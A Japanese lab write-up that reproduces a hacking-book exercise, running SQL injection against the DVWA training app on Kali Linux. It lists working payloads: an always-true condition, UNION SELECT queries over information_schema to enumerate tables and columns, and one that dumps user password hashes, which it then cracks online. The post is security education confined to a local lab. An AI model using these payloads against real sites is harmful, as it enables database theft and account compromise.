はじめに
「ハッキング・ラボのつくりかた」p.602-612をもとにkaliLinux2022.1で検証してみた記事です。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
SQLインジェクション
脆弱性のあるWebアプリに、開発者が想定しないSQLを入力することで、データベースを不正に操作する。脆弱性のあるWebアプリには、セキュリティ学習用のDVWAを使用する。
DVWAでSQLインジェクションの演習を行う
前回を参考にして、DVWAの設定をした後、DVWAのURLにアクセスする。
ここでは、"http//192.168.56.5/dvwa/security.php"となる。
レベルの変更
最初から難易度が高いSQLインジェクションを避けるため、DVWAのレベルを変更する。
メニューの「DVWA Security」をクリックして、レベルをlowの変更する。
SQLインジェクションの手法
すべてのフィールドを表示させる
メニューの「SQL Injection」をクリックする。
User IDに適当な数値、文字値を入れてみると、"select 'First name','Surname' from table name where id = <入力値>"というSQLが実行されていることが推測できる。
入力欄に「1' or 'a'='a」と入力してみる。条件がtrueになりさえすればいいので、「a'='a」などでも構わない。
結果はこの通り。
DBシステムのバージョンを取得する
下記の文字列のいずれかを入力する。
「'union select version(),null #」
「'union select @@version,null #」
「'union select version(),null -- 」
「'union select @@version,null -- 」
ホスト名,DB名,ユーザー名を取得する
- ホスト名とDB名
「'union select @@hostname,database() #」
- ユーザー名
「'union select user(),'a' #」
テーブル名の一覧を取得する
mysqlのinformation_schemaデータベースには、データベースに関するメタ情報が保存されている。(データベースやテーブルの一覧など)
下の画像は、Metasploitable2でmysqlを起動して、テーブルを一覧表示させたところ。
information_schemaデータベースのテーブル一覧
このうち、同書p606で紹介されているテーブルはこちら。
テーブル名 | 概要 |
---|---|
schemata | DB自体のメタ情報、テーブ名や文字コードを確認できる。 |
tables | テーブルのメタ情報,列名table_schemaにDB名、列名table_nameにテーブル名が格納されている。 |
column(画像ではcolumns) | カラム(列)のメタ情報を格納する。tablesと同様に、DB名やテーブル名も格納されている |
Metaspoloitable2のMySQLプロンプトのinformation_schema内で、次のSQLを実行した。
select table_name from tables;
同様の出力をWEBアプリ上で行いたい。
次のSQLインジェクション攻撃を実行する。
「'union select table_name,null from information_schema.tables #」
テーブル数が多いので、完璧に把握できないが、同様の出力を行うことが出来た。
DVWAが使用しているテーブルを特定する
テーブルが多いので、DVWAが使用しているテーブルを特定したい。
「'union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #」
where条件句でtable_schemaがdvwaのものを指定する。
usersテーブルのカラム名を参照する。
「'union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #」
出力されたカラム名のうち、userとパスワードに焦点をしぼる。
「'union select user,password from dvwa.users #」
ユーザー名とパスワードのハッシュ値が返された。
パスワードの解析
今回は、パスワードの解析にハッシュ値から元の入力値を調べてくれるウェブサービスを利用する。同書では、MD5 Onlineを利用しているが、どうやら有料化しているみたいなので、CrackStationを利用した。
結果:
ユーザー名 | パスワードのハッシュ | ハッシュタイプ | パスワード |
---|---|---|---|
admin | 5f4dcc3b5aa765d61d8327deb882cf99 | md5 | password |
gordonb | e99a18c428cb38d5f260853678922e03 | md5 | abc123 |
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | md5 | charley |
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | md5 | letmein |
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | md5 | password |
ハッシュからのパスワード解析については、同書のp.611でコマンドfindmyhash
が紹介されているが、kaliLinux2022.1にはデフォルトでインストールされておらず、githubにあるものも長い間更新されていないので、使用は控える。